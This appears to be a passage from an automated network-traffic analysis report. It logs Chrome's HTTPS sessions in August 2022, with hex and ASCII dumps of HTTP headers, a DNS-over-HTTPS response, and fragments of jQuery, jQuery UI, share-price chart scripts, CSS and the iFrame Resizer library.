Data Ascii: xhrSupported);support.ajax=xhrSupported=!!xhrSupported;jQuery.ajaxTransport(function(options){var 
callback,errorCallback;if(support.cors||xhrSupported&&!options.crossDomain){return{send:function(headers,complete){var 
i,xhr=options.xhr();xhr.open(options.t

2022-08-11 03:43:34 UTC 15040 IN Data Raw: 70 74 5c 62 2f 7d 2c 63 6f 6e 76 65 72 74 65 72 73 3a 7b 22 74 65 78 74 20 73 63 72 69 70 74 22 3a 66 75 6e 
63 74 69 6f 6e 28 74 65 78 74 29 7b 6a 51 75 65 72 79 2e 67 6c 6f 62 61 6c 45 76 61 6c 28 74 65 78 74 29 3b 72 65 74 
75 72 6e 20 74 65 78 74 3b 7d 7d 7d 29 3b 6a 51 75 65 72 79 2e 61 6a 61 78 50 72 65 66 69 6c 74 65 72 28 22 73 63 72 
69 70 74 22 2c 66 75 6e 63 74 69 6f 6e 28 73 29 7b 69 66 28 73 2e 63 61 63 68 65 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 
29 7b 73 2e 63 61 63 68 65 3d 66 61 6c 73 65 3b 7d 0d 0a 69 66 28 73 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 29 7b 73 2e 
74 79 70 65 3d 22 47 45 54 22 3b 7d 7d 29 3b 6a 51 75 65 72 79 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 22 73 63 
72 69 70 74 22 2c 66 75 6e 63 74 69 6f 6e 28 73 29 7b 69 66 28 73 2e 63 
Data Ascii: pt\b/},converters:{"text script":function(text){jQuery.globalEval(text);return text;}}});jQuery.ajaxPrefilter("script"
,function(s){if(s.cache===undefined){s.cache=false;}if(s.crossDomain){s.type="GET";}});jQuery.ajaxTransport("script",fun
ction(s){if(s.c

2022-08-11 03:43:34 UTC 15048 IN Data Raw: 6e 29 3b 7d 3b 7d 29 3b 6a 51 75 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 62 69 6e 64 3a 66 75 6e 63 
74 69 6f 6e 28 74 79 70 65 73 2c 64 61 74 61 2c 66 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 6e 28 74 79 70 65 
73 2c 6e 75 6c 6c 2c 64 61 74 61 2c 66 6e 29 3b 7d 2c 75 6e 62 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 79 70 65 73 2
c 66 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 66 66 28 74 79 70 65 73 2c 6e 75 6c 6c 2c 66 6e 29 3b 7d 2c 64 65 
6c 65 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 73 65 6c 65 63 74 6f 72 2c 74 79 70 65 73 2c 64 61 74 61 2c 66 6e 29 
7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 6e 28 74 79 70 65 73 2c 73 65 6c 65 63 74 6f 72 2c 64 61 74 61 2c 66 6e 29 
3b 7d 2c 75 6e 64 65 6c 65 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 73 
Data Ascii: n);};});jQuery.fn.extend({bind:function(types,data,fn){return this.on(types,null,data,fn);},unbind:function(types,fn)
{return this.off(types,null,fn);},delegate:function(selector,types,data,fn){return this.on(types,selector,data,fn);},unde
legate:function(s

2022-08-11 03:43:34 UTC 15053 IN Data Raw: 61 64 64 43 6c 61 73 73 28 22 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 6e 65 78 74 2d 68 6f 76 65 72 22 
29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 69 29 7b 74 2e 65 78 74 65 6e 64 28 65 2c 69 29 3b 66 6f 72 28 76 61 
72 20 73 20 69 6e 20 69 29 6e 75 6c 6c 3d 3d 69 5b 73 5d 26 26 28 65 5b 73 5d 3d 69 5b 73 5d 29 3b 72 65 74 75 72 6e 
20 65 7d 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 
65 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 76 61 6c 28 29 3b 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 
65 6e 74 73 29 2c 74 68 69 73 2e 5f 72 65 66 72 65 73 68 28 29 2c 65 21 3d 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 
76 61 6c 28 29 26 26 74 68 69 73 2e 5f 74 72 69 67 67 65 72 28 22 63 68 61 
Data Ascii: addClass("ui-datepicker-next-hover"))}function a(e,i){t.extend(e,i);for(var s in i)null==i[s]&&(e[s]=i[s]);return e}fu
nction r(t){return function(){var e=this.element.val();t.apply(this,arguments),this._refresh(),e!==this.element.val()&&t
his._trigger("cha

2022-08-11 03:43:34 UTC 15061 IN Data Raw: 74 5b 30 5d 2c 5b 69 5d 2e 63 6f 6e 63 61 74 28 73 29 29 3d 3d 3d 21 31 7c 7c 69 2e 69 73 44 65 66 61 75 6c 
74 50 72 65 76 65 6e 74 65 64 28 29 29 7d 7d 2c 74 2e 65 61 63 68 28 7b 73 68 6f 77 3a 22 66 61 64 65 49 6e 22 2c 68 
69 64 65 3a 22 66 61 64 65 4f 75 74 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 74 2e 57 69 64 67 65 74 2e 70 
72 6f 74 6f 74 79 70 65 5b 22 5f 22 2b 65 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 6e 2c 6f 29 7b 22 73 74 72 69 6e 67 22 
3d 3d 74 79 70 65 6f 66 20 6e 26 26 28 6e 3d 7b 65 66 66 65 63 74 3a 6e 7d 29 3b 76 61 72 20 61 2c 72 3d 6e 3f 6e 3d 3
d 3d 21 30 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 6e 3f 69 3a 6e 2e 65 66 66 65 63 74 7c 7c 69 3a 65 
3b 6e 3d 6e 7c 7c 7b 7d 2c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 
Data Ascii: t[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Wi
dget.prototype["_"+e]=function(s,n,o){"string"==typeof n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof n?i:n.effect
||i:e;n=n||{},"number"==typ
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2022-08-11 03:43:34 UTC 15069 IN Data Raw: 73 65 49 6e 74 28 74 5b 33 5d 2b 74 5b 33 5d 2c 31 36 29 5d 7d 7d 2c 7b 72 65 3a 2f 68 73 6c 61 3f 5c 28 5c 
73 2a 28 5c 64 2b 28 3f 3a 5c 2e 5c 64 2b 29 3f 29 5c 73 2a 2c 5c 73 2a 28 5c 64 2b 28 3f 3a 5c 2e 5c 64 2b 29 3f 29 5c 
25 5c 73 2a 2c 5c 73 2a 28 5c 64 2b 28 3f 3a 5c 2e 5c 64 2b 29 3f 29 5c 25 5c 73 2a 28 3f 3a 2c 5c 73 2a 28 5c 64 3f 28 
3f 3a 5c 2e 5c 64 2b 29 3f 29 5c 73 2a 29 3f 5c 29 2f 2c 73 70 61 63 65 3a 22 68 73 6c 61 22 2c 70 61 72 73 65 3a 66 75 
6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 5b 74 5b 31 5d 2c 74 5b 32 5d 2f 31 30 30 2c 74 5b 33 5d 2f 31 30 30 2c 
74 5b 34 5d 5d 7d 7d 5d 2c 6c 3d 74 2e 43 6f 6c 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 73 2c 6e 29 7b 72 65 74 
75 72 6e 20 6e 65 77 20 74 2e 43 6f 6c 6f 72 2e 66 6e 2e 
Data Ascii: seInt(t[3]+t[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:
\.\d+)?)\s*)?\)/,space:"hsla",parse:function(t){return[t[1],t[2]/100,t[3]/100,t[4]]}}],l=t.Color=function(e,i,s,n){return new t.Co
lor.fn.

2022-08-11 03:43:34 UTC 15076 IN Data Raw: 65 7c 7c 74 2e 66 78 2e 73 70 65 65 64 73 5b 65 5d 3f 21 30 3a 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 
66 20 65 7c 7c 74 2e 65 66 66 65 63 74 73 2e 65 66 66 65 63 74 5b 65 5d 3f 74 2e 69 73 46 75 6e 63 74 69 6f 6e 28 65 
29 3f 21 30 3a 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 65 2e 65 66 66 65 63 74 3f 21 31 3a 21 30 3a 
21 30 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 2c 65 29 7b 76 61 72 20 69 3d 65 2e 6f 75 74 65 72 57 69 64 74 68 28 29 
2c 73 3d 65 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 6e 3d 2f 5e 72 65 63 74 5c 28 28 2d 3f 5c 64 2a 5c 2e 3f 5c 64 
2a 70 78 7c 2d 3f 5c 64 2b 25 7c 61 75 74 6f 29 2c 3f 5c 73 2a 28 2d 3f 5c 64 2a 5c 2e 3f 5c 64 2a 70 78 7c 2d 3f 5c 64 2b 
25 7c 61 75 74 6f 29 2c 3f 5c 73 2a 28 2d 3f 5c 64 2a 5c 2e 
Data Ascii: e||t.fx.speeds[e]?!0:"string"!=typeof e||t.effects.effect[e]?t.isFunction(e)?!0:"object"!=typeof e||e.effect?!1:!0:!0}
function s(t,e){var i=e.outerWidth(),s=e.outerHeight(),n=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?
\s*(-?\d*\.

2022-08-11 03:43:34 UTC 15082 IN Data Raw: 74 2e 65 61 63 68 28 5b 22 65 6d 22 2c 22 70 78 22 2c 22 25 22 2c 22 70 74 22 5d 2c 66 75 6e 63 74 69 6f 6e 
28 74 2c 65 29 7b 69 2e 69 6e 64 65 78 4f 66 28 65 29 3e 30 26 26 28 73 3d 5b 70 61 72 73 65 46 6c 6f 61 74 28 69 29 
2c 65 5d 29 7d 29 2c 73 7d 2c 63 73 73 43 6c 69 70 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3f 
74 68 69 73 2e 63 73 73 28 22 63 6c 69 70 22 2c 22 72 65 63 74 28 22 2b 74 2e 74 6f 70 2b 22 70 78 20 22 2b 74 2e 72 6
9 67 68 74 2b 22 70 78 20 22 2b 74 2e 62 6f 74 74 6f 6d 2b 22 70 78 20 22 2b 74 2e 6c 65 66 74 2b 22 70 78 29 22 29 3a 
73 28 74 68 69 73 2e 63 73 73 28 22 63 6c 69 70 22 29 2c 74 68 69 73 29 7d 2c 74 72 61 6e 73 66 65 72 3a 66 75 6e 63 
74 69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 73 3d 74 28 74 68 69 73 29 
Data Ascii: t.each(["em","px","%","pt"],function(t,e){i.indexOf(e)>0&&(s=[parseFloat(i),e])}),s},cssClip:function(t){return t?
this.css("clip","rect("+t.top+"px "+t.right+"px "+t.bottom+"px "+t.left+"px)"):s(this.css("clip"),this)},transfer:function(e,i){var s=
t(this)

2022-08-11 03:43:34 UTC 15089 IN Data Raw: 76 65 53 74 79 6c 65 28 61 29 29 2c 69 28 29 7d 7d 29 7d 29 2c 74 2e 65 66 66 65 63 74 73 2e 64 65 66 69 
6e 65 28 22 73 63 61 6c 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 76 61 72 20 73 3d 74 28 74 68 69 73 29 2c 
6e 3d 65 2e 6d 6f 64 65 2c 6f 3d 70 61 72 73 65 49 6e 74 28 65 2e 70 65 72 63 65 6e 74 2c 31 30 29 7c 7c 28 30 3d 3d 3
d 70 61 72 73 65 49 6e 74 28 65 2e 70 65 72 63 65 6e 74 2c 31 30 29 3f 30 3a 22 65 66 66 65 63 74 22 21 3d 3d 6e 3f 30 
3a 31 30 30 29 2c 61 3d 74 2e 65 78 74 65 6e 64 28 21 30 2c 7b 66 72 6f 6d 3a 74 2e 65 66 66 65 63 74 73 2e 73 63 61 
6c 65 64 44 69 6d 65 6e 73 69 6f 6e 73 28 73 29 2c 74 6f 3a 74 2e 65 66 66 65 63 74 73 2e 73 63 61 6c 65 64 44 69 6d 
65 6e 73 69 6f 6e 73 28 73 2c 6f 2c 65 2e 64 69 72 65 63 74 69 6f 6e 7c 
Data Ascii: veStyle(a)),i()}})}),t.effects.define("scale",function(e,i){var s=t(this),n=e.mode,o=parseInt(e.percent,10)||
(0===parseInt(e.percent,10)?0:"effect"!==n?0:100),a=t.extend(!0,{from:t.effects.scaledDimensions(s),to:t.effects.scaled
Dimensions(s,o,e.direction|
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37 172.64.145.85 443 192.168.11.20 54171 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:42 UTC 472 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:42 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df677bc0f9271-FRA

2022-08-11 03:42:42 UTC 472 IN Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 06 6d 68 78 79 64 73 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 
02 58 00 04 76 1b 69 76 00 00 29 04 d0 00 00 00 00 01 9d 00 0c 01 99 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: mhxydscomXviv)

Session ID Source IP Source Port Destination IP
Destination
Port

Process

370 103.15.210.63 443 192.168.11.20 52001 C:\Program Files\Google\Chrome\Application\chrome.exe
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2022-08-11 03:43:33 UTC 14877 IN HTTP/1.1 200 OK
Cache-Control: public,no-cache
Pragma: no-cache
Content-Type: application/javascript
Expires: Fri, 12 Aug 2022 03:35:33 GMT,-1
Last-Modified: Sat, 16 Jul 2022 22:15:05 GMT
Accept-Ranges: bytes
ETag: "1D8996180403A80"
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1;mode=block
Content-Security-Policy: default-src https:; script-src   https: 'unsafe-inline' 'unsafe-eval'; child-src  'self' https:; font-src 'self' 
fonts.googleapis.com use.typekit.net  fonts.gstatic.com; img-src 'self'  data: https:; media-src 'self'; object-src 'self';style-src 
'self' 'unsafe-inline'  fonts.googleapis.com use.typekit.net  fonts.gstatic.com  ;
Date: Thu, 11 Aug 2022 03:43:33 GMT
Content-Length: 1810
Set-Cookie: NSC_Ijqqp-JS-Tjuft=ffffffffaf171fd945525d5f4f58455e445a4a423660;path=/;secure;httponly

2022-08-11 03:43:33 UTC 14878 IN Data Raw: 24 2e 6e 61 6d 65 73 70 61 63 65 28 22 53 68 61 72 65 50 72 69 63 65 43 68 61 72 74 2e 70 72 69 63 65 56 
6f 6c 75 6d 65 22 29 3b 0d 0a 0d 0a 2f 2f 4d 61 6e 64 61 74 6f 72 79 20 6f 70 74 69 6f 6e 73 20 66 6f 72 20 74 68 65 20 
63 68 61 72 74 3a 0d 0a 2f 2f 20 2d 20 73 65 63 75 72 69 74 79 43 6f 64 65 0d 0a 2f 2f 20 2d 20 70 72 69 63 65 43 6f 6c 
6f 72 0d 0a 2f 2f 20 2d 20 76 6f 6c 75 6d 65 43 6f 6c 6f 72 0d 0a 2f 2f 20 2d 20 64 61 74 61 55 72 6c 0d 0a 2f 2f 20 2d 20 
64 65 66 61 75 6c 74 50 65 72 69 6f 64 49 64 0d 0a 2f 2f 20 2d 20 63 6f 6e 74 61 69 6e 65 72 49 64 0d 0a 53 68 61 72 65 
50 72 69 63 65 43 68 61 72 74 2e 70 72 69 63 65 56 6f 6c 75 6d 65 2e 63 68 61 72 74 49 6e 69 74 20 3d 20 66 75 6e 63 
74 69 6f 6e 28 63 6f 6e 66 69 67 29 20 7b 0d 0a 20 20 20 20 
Data Ascii: $.namespace("SharePriceChart.priceVolume");//Mandatory options for the chart:// - securityCode// - priceColo
r// - volumeColor// - dataUrl// - defaultPeriodId// - containerIdSharePriceChart.priceVolume.chartInit = function(config) {    

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

371 103.15.210.63 443 192.168.11.20 60152 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14880 IN HTTP/1.1 200 OK
Cache-Control: public,no-cache
Pragma: no-cache
Content-Type: application/javascript
Expires: Fri, 12 Aug 2022 03:35:33 GMT,-1
Last-Modified: Sat, 16 Jul 2022 22:15:05 GMT
Accept-Ranges: bytes
ETag: "1D8996180403A80"
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1;mode=block
Content-Security-Policy: default-src https:; script-src   https: 'unsafe-inline' 'unsafe-eval'; child-src  'self' https:; font-src 'self' 
fonts.googleapis.com use.typekit.net  fonts.gstatic.com; img-src 'self'  data: https:; media-src 'self'; object-src 'self';style-src 
'self' 'unsafe-inline'  fonts.googleapis.com use.typekit.net  fonts.gstatic.com  ;
Date: Thu, 11 Aug 2022 03:43:33 GMT
Content-Length: 11407
Set-Cookie: NSC_Ijqqp-JS-Tjuft=ffffffffaf171fd945525d5f4f58455e445a4a423660;path=/;secure;httponly

2022-08-11 03:43:33 UTC 14881 IN Data Raw: ef bb bf 24 2e 6e 61 6d 65 73 70 61 63 65 28 22 53 68 61 72 65 50 72 69 63 65 43 68 61 72 74 2e 70 72 69 63 
65 56 6f 6c 75 6d 65 22 29 3b 0d 0a 0d 0a 2f 2f 4d 61 6e 64 61 74 6f 72 79 20 6f 70 74 69 6f 6e 73 20 66 6f 72 20 74 68 
65 20 63 68 61 72 74 3a 0d 0a 2f 2f 20 2d 20 73 65 63 75 72 69 74 79 43 6f 64 65 73 20 2d 20 63 73 76 20 6f 66 20 3c 6e 
61 6d 65 7c 63 6f 6c 6f 72 3e 0d 0a 2f 2f 20 2d 20 64 65 66 61 75 6c 74 50 65 72 69 6f 64 49 64 0d 0a 2f 2f 20 2d 20 63 6f 
6e 74 61 69 6e 65 72 49 64 0d 0a 2f 2f 20 2d 20 64 61 74 61 55 72 6c 0d 0a 53 68 61 72 65 50 72 69 63 65 43 68 61 72 
74 2e 70 72 69 63 65 56 6f 6c 75 6d 65 2e 63 68 61 72 74 52 65 67 69 73 74 72 79 20 3d 20 6e 65 77 20 48 61 73 68 28 
29 3b 0d 0a 53 68 61 72 65 50 72 69 63 65 43 68 61 72 74 2e 
Data Ascii: $.namespace("SharePriceChart.priceVolume");//Mandatory options for the chart:// - securityCodes - csv of <na
me|color>// - defaultPeriodId// - containerId// - dataUrlSharePriceChart.priceVolume.chartRegistry = new Hash();SharePri
ceChart.

2022-08-11 03:43:33 UTC 14888 IN Data Raw: 20 20 20 20 20 74 65 78 74 3a 20 22 31 6d 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 
20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 79 70 65 3a 20 22 6d 6f 6e 74 68 22 2c 0d 
0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 75 6e 74 3a 20 33 2c 0d 0a 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 3a 20 22 33 6d 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 7d 2c 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 79 70 65 3a 20 22 6d 6f 6e 74 
68 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 75 6e 74 3a 20 36 2c 0d 0a 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 3a 20 22 36 
Data Ascii:      text: "1m"                }, {                    type: "month",                    count: 3,                    text: "3m"                
}, {                    type: "month",                    count: 6,                    text: "6

Session ID Source IP Source Port Destination IP
Destination
Port

Process

372 103.15.210.63 443 192.168.11.20 64122 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14892 IN HTTP/1.1 200 OK
Cache-Control: public,no-cache
Pragma: no-cache
Content-Type: text/css
Expires: Fri, 12 Aug 2022 03:43:33 GMT,-1
Last-Modified: Mon, 06 Jan 2020 03:05:26 GMT
Accept-Ranges: bytes
ETag: "1D5C43E24B29F00"
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1;mode=block
Content-Security-Policy: default-src https:; script-src   https: 'unsafe-inline' 'unsafe-eval'; child-src  'self' https:; font-src 'self' 
fonts.googleapis.com use.typekit.net  fonts.gstatic.com; img-src 'self'  data: https:; media-src 'self'; object-src 'self';style-src 
'self' 'unsafe-inline'  fonts.googleapis.com use.typekit.net  fonts.gstatic.com  ;
Date: Thu, 11 Aug 2022 03:43:33 GMT
Content-Length: 8873
Set-Cookie: NSC_Ijqqp-JS-Tjuft=ffffffffaf171fd945525d5f4f58455e445a4a423660;path=/;secure;httponly

2022-08-11 03:43:33 UTC 14893 IN Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 2a 2a 
2a 2a 2a 2a 2a 2a 20 50 49 43 20 73 74 79 6c 65 73 20 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 
2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 0d 0a 0d 0a 2f 2a 20 47 65 6e 65 72 61 6c 20 2a 2f 0
d 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 47 6f 74 68 61 6d 
2d 42 6f 6c 64 27 3b 0d 0a 20 20 20 20 73 72 63 3a 20 75 72 6c 28 27 2f 46 6f 72 6d 42 75 69 6c 64 65 72 2f 5f 52 65 73 
6f 75 72 63 65 2f 5f 6d 6f 64 75 6c 65 2f 72 31 43 32 53 48 4e 49 74 6b 79 73 68 5a 62 36 59 55 5a 38 55 67 2f 66 6f 6e 7
4 73 2f 47 6f 74 68 61 6d 2d 42 6c 61 63 6b 2e 65 6f 74 3f 27 29 
Data Ascii: /************************************** PIC styles **************************************//* General */@font-face {    
font-family: 'Gotham-Bold';    src: url('/FormBuilder/_Resource/_module/r1C2SHNItkyshZb6YUZ8Ug/fonts/Gotham-B
lack.eot?')

2022-08-11 03:43:33 UTC 14900 IN Data Raw: 6d 65 6e 74 43 61 6c 63 43 68 61 72 74 20 73 70 61 6e 20 7b 20 2a 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 20 2f 
2a 20 49 45 36 2f 37 20 2a 2f 20 7d 0d 0a 0d 0a 0d 0a 2f 2a 20 53 68 61 72 65 20 50 72 69 63 65 20 2a 2f 0d 0a 23 70 72 
69 63 65 4d 6f 64 75 6c 65 5f 53 68 61 72 65 50 72 69 63 65 4d 6f 64 75 6c 65 31 20 7b 0d 0a 20 20 20 20 77 69 64 74 
68 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 
72 6f 75 6e 64 3a 20 23 66 34 66 38 66 61 3b 0d 0a 0d 0a 7d 0d 0a 23 70 72 69 63 65 4d 6f 64 75 6c 65 5f 53 68 61 72 6
5 50 72 69 63 65 4d 6f 64 75 6c 65 31 20 68 34 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 35 70 78 20 30 3b 0d 
0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 
Data Ascii: mentCalcChart span { *float: left; /* IE6/7 */ }/* Share Price */#priceModule_SharePriceModule1 {    width: auto;    
padding: 40px;    background: #f4f8fa;}#priceModule_SharePriceModule1 h4 {    margin: 5px 0;    text-align: center

Session ID Source IP Source Port Destination IP
Destination
Port

Process

373 103.15.210.63 443 192.168.11.20 50955 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14901 IN HTTP/1.1 200 OK
Cache-Control: public,no-cache
Pragma: no-cache
Content-Type: application/javascript
Expires: Fri, 12 Aug 2022 03:43:33 GMT,-1
Last-Modified: Tue, 13 Dec 2016 04:32:07 GMT
Accept-Ranges: bytes
ETag: "1D254F9DC7DFD80"
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-XSS-Protection: 1;mode=block
Content-Security-Policy: default-src https:; script-src   https: 'unsafe-inline' 'unsafe-eval'; child-src  'self' https:; font-src 'self' 
fonts.googleapis.com use.typekit.net  fonts.gstatic.com; img-src 'self'  data: https:; media-src 'self'; object-src 'self';style-src 
'self' 'unsafe-inline'  fonts.googleapis.com use.typekit.net  fonts.gstatic.com  ;
Date: Thu, 11 Aug 2022 03:43:33 GMT
Content-Length: 13917
Set-Cookie: NSC_Ijqqp-JS-Tjuft=ffffffffaf171fd945525d5f4f58455e445a4a423660;path=/;secure;httponly

2022-08-11 03:43:33 UTC 14902 IN Data Raw: 2f 2a 21 20 69 46 72 61 6d 65 20 52 65 73 69 7a 65 72 20 28 69 66 72 61 6d 65 53 69 7a 65 72 2e 63 6f 6e 74 
65 6e 74 57 69 6e 64 6f 77 2e 6d 69 6e 2e 6a 73 29 20 2d 20 76 33 2e 35 2e 35 20 2d 20 32 30 31 36 2d 30 36 2d 31 36 
0d 0a 20 2a 20 20 44 65 73 63 3a 20 49 6e 63 6c 75 64 65 20 74 68 69 73 20 66 69 6c 65 20 69 6e 20 61 6e 79 20 70 61 
67 65 20 62 65 69 6e 67 20 6c 6f 61 64 65 64 20 69 6e 74 6f 20 61 6e 20 69 66 72 61 6d 65 0d 0a 20 2a 20 20 20 20 20 2
0 20 20 74 6f 20 66 6f 72 63 65 20 74 68 65 20 69 66 72 61 6d 65 20 74 6f 20 72 65 73 69 7a 65 20 74 6f 20 74 68 65 20 
63 6f 6e 74 65 6e 74 20 73 69 7a 65 2e 0d 0a 20 2a 20 20 52 65 71 75 69 72 65 73 3a 20 69 66 72 61 6d 65 52 65 73 69 
7a 65 72 2e 6d 69 6e 2e 6a 73 20 6f 6e 20 68 6f 73 74 20 70 61 67 65 
Data Ascii: /*! iFrame Resizer (iframeSizer.contentWindow.min.js) - v3.5.5 - 2016-06-16 *  Desc: Include this file in any 
page being loaded into an iframe *        to force the iframe to resize to the content size. *  Requires: iframeResizer.min.js 
on host page

2022-08-11 03:43:33 UTC 14909 IN Data Raw: 28 22 73 69 7a 65 22 2c 22 70 61 72 65 6e 74 49 46 72 61 6d 65 2e 73 69 7a 65 28 22 2b 63 2b 22 29 22 2c 
61 2c 62 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 45 28 29 7b 30 21 3d 3d 6b 61 26 26 28 68 28 22 73 65 74 49 6e 74 65 
72 76 61 6c 3a 20 22 2b 6b 61 2b 22 6d 73 22 29 2c 6c 61 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6
e 28 29 7b 4f 28 22 69 6e 74 65 72 76 61 6c 22 2c 22 73 65 74 49 6e 74 65 72 76 61 6c 3a 20 22 2b 6b 61 29 7d 2c 4d 61 
74 68 2e 61 62 73 28 6b 61 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 61 29 
7b 66 75 6e 63 74 69 6f 6e 20 62 28 61 29 7b 21 31 3d 3d 3d 61 2e 63 6f 6d 70 6c 65 74 65 26 26 28 68 28 22 41 74 74 
61 63 68 20 6c 69 73 74 65 6e 65 72 73 20 74 6f 20 22 2b 61 2e 73 72 63 
Data Ascii: ("size","parentIFrame.size("+c+")",a,b)}}}function E(){0!==ka&&(h("setInterval: "+ka+"ms"),la=setInterval(fu
nction(){O("interval","setInterval: "+ka)},Math.abs(ka)))}function F(){function c(a){function b(a){!1===a.complete&&(h("
Attach listeners to "+a.src
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

374 103.15.210.63 443 192.168.11.20 56288 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:43:33 UTC 14916 IN HTTP/1.1 200 OK
Cache-Control: public,no-cache
Pragma: no-cache
Content-Type: application/javascript
Expires: Fri, 12 Aug 2022 03:43:33 GMT,-1
